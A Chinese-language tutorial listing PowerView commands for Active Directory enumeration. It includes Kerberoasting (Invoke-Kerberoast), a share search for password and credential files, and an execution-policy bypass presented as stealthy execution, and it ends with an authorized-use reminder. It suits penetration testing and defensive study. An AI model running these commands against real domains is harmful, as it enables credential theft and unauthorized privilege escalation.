PowerView是PowerShell Empire和BloodHound项目中一个强大的PowerShell脚本,用于Active Directory(AD)环境的信息收集和权限提升。以下是使用PowerView的基本方法:
导入PowerView脚本
Import-Module .\PowerView.ps1
# 或者
. .\PowerView.ps1
获取当前域信息
Get-NetDomain
获取域控制器信息
Get-NetDomainController
# 获取所有域用户
Get-NetUser
# 获取特定用户详细信息
Get-NetUser -Username administrator
# 获取用户登录信息
Get-NetLoggedon -ComputerName DC01
# 获取用户会话信息
Get-NetSession -ComputerName DC01
# 获取所有域计算机
Get-NetComputer
# 获取特定OU中的计算机
Get-NetComputer -OUName "OU=Servers,DC=domain,DC=local"
# 获取所有域组
Get-NetGroup
# 获取特定组成员
Get-NetGroupMember -GroupName "Domain Admins"
# 获取用户所属组
Get-NetGroup -UserName "jdoe"
# 查找具有管理员权限的用户
Invoke-EnumerateLocalAdmin
# 查找共享权限
Invoke-ShareFinder
# 查找GPO权限
Get-NetGPO -ComputerName DC01
# 查找敏感数据
Find-InterestingDomainShareFile -Include *pass*,*cred*,*vnc*
# 查找域信任关系
Get-NetDomainTrust
# 执行Kerberoasting攻击
Invoke-Kerberoast
隐蔽执行:可以使用以下方式绕过执行策略限制
powershell -ep bypass -c ". .\PowerView.ps1; Get-NetUser"
导出结果:将结果导出到CSV文件
Get-NetUser | Export-Csv -Path users.csv -NoTypeInformation
过滤结果:使用Where-Object进行筛选
Get-NetUser | Where-Object {$_.lastlogon -lt (Get-Date).AddDays(-90)}
查看所有可用命令:
Get-Command -Module PowerView
获取特定命令帮助:
Get-Help Get-NetUser -Full
PowerView是一个功能强大的工具,正确使用可以帮助管理员评估AD环境的安全性,但请确保只在授权环境中使用。